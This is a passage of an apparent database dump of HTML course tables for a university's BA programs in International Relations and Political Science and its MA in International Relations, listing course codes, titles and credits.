required)<br><strong>Required</strong></p><p><strong><br></strong></p></td></tr><tr><td>ECON 101</td><td>Introduction to Economics</td><td>3</td></tr><tr><td>PLTS 110</td><td>Introduction to Political Science</td><td>3</td></tr><tr><td>PHIL 110</td><td>Philosophy</td><td>3</td></tr><tr><td colspan=\"3\"><strong>Electives</strong></td></tr><tr><td>&nbsp;</td><td>Second Foreign Language - 1st level</td><td>3</td></tr><tr><td>&nbsp;</td><td>Second Foreign Language - 2nd level</td><td>3</td></tr><tr><td colspan=\"3\"><p><strong>Major Required Courses</strong>(total 37 credits required)</p><p>&nbsp;</p></td></tr><tr><td>INTLAW 258</td><td>Public International Law</td><td>4</td></tr><tr><td>INTR 210</td><td>History of Diplomacy</td><td>4</td></tr><tr><td>INTR 215</td><td>Theory of International Relations</td><td>4</td></tr><tr><td>INTR 220</td><td>International Organizations</td><td>4</td></tr><tr><td>INTR 310</td><td>Modern Diplomacy</td><td>4</td></tr><tr><td>INTR 330</td><td>International Political Economy</td><td>3</td></tr><tr><td>INTR 340</td><td>Foreign Policy of Azerbaijan</td><td>4</td></tr><tr><td>INTR 460</td><td>Foundations of Security Studies</td><td>4</td></tr><tr><td>&nbsp;</td><td>Senior Thesis</td><td>6</td></tr><tr><td colspan=\"3\"><strong>Major Electives</strong>(total 26 credits required)</td></tr><tr><td>HIST 110</td><td>History of World Civilizations</td><td>3</td></tr><tr><td>INTLAW 156</td><td>Comparative Constitutional Law</td><td>4</td></tr><tr><td>INTLAW 362</td><td>Private International law</td><td>4</td></tr><tr><td>INTR 345</td><td>Azerbaijani-Armenian Conflict</td><td>3</td></tr><tr><td>INTR 346</td><td>Azerbaijani Emigration</td><td>3</td></tr><tr><td>INTR 350</td><td>The Caucasus in World Politics</td><td>3</td></tr><tr><td>INTR 351</td><td>East Asia in Global Politics</td><td>3</td></tr><tr><td>INTR 370</td><td>NATO and Security Problems</td><td>3</td></tr><tr><td>INTR 381</td><td>International Human Rights</td><td>3</td></tr><tr><td>INTR 410</td><td>Political and Economic Geography of World Countries</td><td>3</td></tr><tr><td>INTR 430</td><td>Prognostication in International Relations</td><td>3</td></tr><tr><td>INTR 475</td><td>Nation and Nationalism</td><td>3</td></tr><tr><td>INTR 480</td><td>Oil and Politics</td><td>3</td></tr><tr><td>INTR 507</td><td>Middle East in World Politics</td><td>3</td></tr><tr><td>INTR 511</td><td>Foreign Policy of Russia</td><td>3</td></tr><tr><td>INTR 517</td><td>Foreign Policy of Iran</td><td>3</td></tr><tr><td>INTR 521</td><td>Foreign Policy of the USA</td><td>3</td></tr><tr><td>INTR 525</td><td>Foreign Policy of Turkey</td><td>3</td></tr><tr><td>PLTS 115</td><td>Theory of Political Systems</td><td>3</td></tr><tr><td>PLTS 120</td><td>History of Political Theories</td><td>4</td></tr><tr><td>PLTS 220</td><td>Democracy: Theory and Practice</td><td>3</td></tr><tr><td>PLTS 225</td><td>Models of Democracy</td><td>3</td></tr><tr><td>PLTS 230</td><td>Modern Political Theories</td><td>4</td></tr><tr><td>PLTS 310</td><td>Political Systems and Institutions</td><td>4</td></tr><tr><td>PLTS 510</td><td>Ethnic Politics</td><td>3</td></tr><tr><td>PLTS 505</td><td>Research Methods in Political Science</td><td>4</td></tr><tr><td>&nbsp;</td><td colspan=\"2\">Other elective courses</td></tr><tr><td colspan=\"2\">OPEN ELECTIVES</td><td>6</td></tr><tr><td>&nbsp;</td><td>Elective 1</td><td>3</td></tr><tr><td>&nbsp;</td><td>Elective 2</td><td>3</td></tr><tr><td colspan=\"2\"><strong>TOTAL</strong></td><td><strong>132</strong></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><hr><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><h3 style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Bachelor of Arts (BA) Program in Political Science</strong></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This undergraduate program aims to provide understanding of basic political processes and institutions as these operate in different national and international contexts. The program is designed in a similar way to International Relations. It also covers the changing character of the relations between citizens and governments. General objectives and career perspectives of the program are very similar to those in International Relations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellpadding=\"8\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><strong>CODE</strong></td><td><strong>COURSES</strong></td><td><strong>CREDITS</strong></td></tr><tr><td colspan=\"2\"><strong>UNIVERSITY REQUIREMENTS</strong></td><td><strong>27</strong></td></tr><tr><td colspan=\"2\"><strong>GENERAL EDUCATION REQUIREMENTS</strong></td><td><strong>21</strong></td></tr><tr><td colspan=\"2\"><strong>MAJOR REQUIREMENTS</strong></td><td><strong>78</strong></td></tr><tr><td colspan=\"3\"><strong>Major Related Courses</strong>(total 15 credits required)<br><strong>Required</strong></td></tr><tr><td>ECON 101</td><td>Introduction to Economics</td><td>3</td></tr><tr><td>PLTS 110</td><td>Introduction to Political Science</td><td>3</td></tr><tr><td>PHIL 110</td><td>Philosophy</td><td>3</td></tr><tr><td colspan=\"3\"><strong>Electives</strong></td></tr><tr><td>&nbsp;</td><td>Second Foreign Language - 1st and 2nd levels,<br>or Two Public Policy/ Public<br>Administration courses</td><td>6</td></tr><tr><td colspan=\"3\"><strong>Major Required Courses</strong>(total 37 credits required)</td></tr><tr><td>INTR 215</td><td>Theory of International Relations</td><td>4</td></tr><tr><td>PLTS 120</td><td>History of Political Theories</td><td>4</td></tr><tr><td>PLTS 230</td><td>Modern Political Theories</td><td>4</td></tr><tr><td>PLTS 240</td><td>Comparative Politics</td><td>4</td></tr><tr><td>PLTS 310</td><td>Political Systems and Institutions</td><td>4</td></tr><tr><td>PLTS 415</td><td>Political Psychology</td><td>3</td></tr><tr><td>PLTS 420</td><td>Seminar on Post-Soviet Azerbaijani Politics</td><td>4</td></tr><tr><td>PLTS 505</td><td>Research Methods in Political Science</td><td>4</td></tr><tr><td>&nbsp;</td><td>Senior Thesis</td><td>6</td></tr><tr><td colspan=\"3\"><strong>Major Electives</strong>(total 26 credits required)</td></tr><tr><td>INTR 210</td><td>History of Diplomacy</td><td>4</td></tr><tr><td>INTR 220</td><td>International Organizations</td><td>4</td></tr><tr><td>INTR 310</td><td>Modern Diplomacy</td><td>4</td></tr><tr><td>INTR 341</td><td>Azerbaijan in Turkic World</td><td>3</td></tr><tr><td>INTR 345</td><td>Azerbaijani-Armenian Conflict</td><td>3</td></tr><tr><td>INTR 346</td><td>Azerbaijani Emigration</td><td>3</td></tr><tr><td>INTR 350</td><td>The Caucasus in World Politics</td><td>3</td></tr><tr><td>INTR 351</td><td>East Asia in Global Politics</td><td>3</td></tr><tr><td>INTR 370</td><td>NATO and Security Problems</td><td>3</td></tr><tr><td>INTR 410</td><td>Political and Economic Geography of World Countries</td><td>3</td></tr><tr><td>INTR 460</td><td>Foundations of Security Studies</td><td>4</td></tr><tr><td>INTR 475</td><td>Nation and Nationalism</td><td>3</td></tr><tr><td>INTR 507</td><td>Middle East in World Politics</td><td>3</td></tr><tr><td>INTR 511</td><td>Foreign Policy of Russia</td><td>3</td></tr><tr><td>INTR 517</td><td>Foreign Policy of Iran</td><td>3</td></tr><tr><td>INTR 521</td><td>Foreign Policy of the USA</td><td>3</td></tr><tr><td>INTR 525</td><td>Foreign Policy of Turkey</td><td>3</td></tr><tr><td>INTR 531</td><td>International Conflicts</td><td>4</td></tr><tr><td>PLTS 220</td><td>Democracy: Theory and Practice</td><td>4</td></tr><tr><td>PLTS 225</td><td>Models of Democracy</td><td>3</td></tr><tr><td>PLTS 345</td><td>Public Policy Analysis</td><td>3</td></tr><tr><td>PLTS 350</td><td>Public Opinion and Public Policy</td><td>4</td></tr><tr><td>PLTS 410</td><td>Political Sociology</td><td>3</td></tr><tr><td>PLTS 410</td><td>Political Prognostication</td><td>3</td></tr><tr><td>&nbsp;</td><td colspan=\"2\">Other elective courses</td></tr><tr><td colspan=\"2\"><strong>OPEN ELECTIVES</strong></td><td><strong>6</strong></td></tr><tr><td>&nbsp;</td><td>Elective 1</td><td>3</td></tr><tr><td>&nbsp;</td><td>Elective 2</td><td>3</td></tr><tr><td colspan=\"2\"><strong>TOTAL</strong></td><td><strong>132</strong></td></tr></tbody></table>  <br></div>'),(457,292,'az','Magistr  proqramı','Magistr  proqramı',''),(458,292,'en','•	Master of Arts (MA) Program','•	Master of Arts (MA) Program','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Master of Arts in International Relations</strong></p><p><strong>Concentration: Conflict studies</strong></p><p><strong>&nbsp;</strong></p><p>The curriculum of the MA degree program in International Relations is designed to provide students with a broad analytical background in the major fields of international affairs, combined with the specific focus gained through either a functional or regional concentration. The purpose of the required curriculum is to ensure that every student in the program receives basic, broad-based, interdisciplinary training in international affairs. This includes graduate level course-work in international politics, and the historical, political, and social processes.</p><p>The small number of students admitted each year allows the program to be tailored to individual needs and encourages close interaction between students and faculty. The program intends to provide a solid academic background for students planning careers related to development; whether in government, private volunteer agencies or business related sectors. The courses, which were designed to supplement substantial and more theoretical aspects of the Master\'s curriculum, teach the ability to:</p><ul><li>· analyze and forecast international events</li><li>· conduct strategic planning for organizations with a global scope</li><li>· lead, negotiate, and work in teams in a cross-cultural environment</li></ul><p>The program of study is usually completed in four terms of full-time study with 58 credits and GPA not less than 75. Besides basic prerequisites (20 credits) there are five required courses (28 credits) and four elective courses (elective courses are listed below). Students concentrating in the regional studies need six courses in the two-year program. Ideally they should mix more policy oriented courses with those that have a more \"classical\" and historical bent, including the research seminar. The program does not cover particular countries as much as it examines a more general political and historical tradition that shapes the politics and life of this certain region. Students who choose the area sub-fields must pass one of the area language proficiency examinations.</p><p>&nbsp;</p><p><strong>Master Thesis&nbsp;</strong>(6 credits)</p><p>&nbsp;</p><p>Master thesis must be an original research work related to the chosen</p><p>field. The thesis topic will normally be chosen during the first semester.</p><p>The Committee on Graduate Studies (CGS) must approve the faculty</p><p>member who has agreed to direct the project.</p><p>_________________________________________________________________________</p><p><strong>CODE &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;COURSES &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CREDITS</strong></p><p><strong>_________________________________________________________________</strong></p><p><strong>BASIC PREREQUISITES &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>20</strong></p><p><strong>_________________________________________________________________</strong></p><p>INTR 210 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;History of Diplomacy &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 215 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Theory of International Relations &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 220 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;International Organizations &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 310&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Modern Diplomacy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;4</p><p>INTR 340&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Foreign Policy of Azerbaijan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;4</p><p>________________________________________________________________________</p><p><strong>REQUIRED COURSES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;26</strong></p><p>INTR 530 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Peace and Conflict Studies &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 531 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;International Conflicts &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 532 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case Studies in International Conflict &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>INTR 533 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Negotiation: Theory and Practice &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>PLTS 505&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Research Methods in Political Science &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thesis &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6</p><p><strong>ELECTIVES 12</strong></p><p>INTR 345&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Azerbaijani-Armenian Conflict&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;3</p><p>INTR 346 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Azerbaijani Emigration &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 350 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The Caucasus in World Politics &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 351&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;East Asia in Global Politics&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;3</p><p>INTR 370&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Ethnic Conflicts &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 370 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NATO and Security Problems &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 381 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;International Human Rights &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 410 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Political and Economic Geography of World Countries &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3</p><p>INTR 430 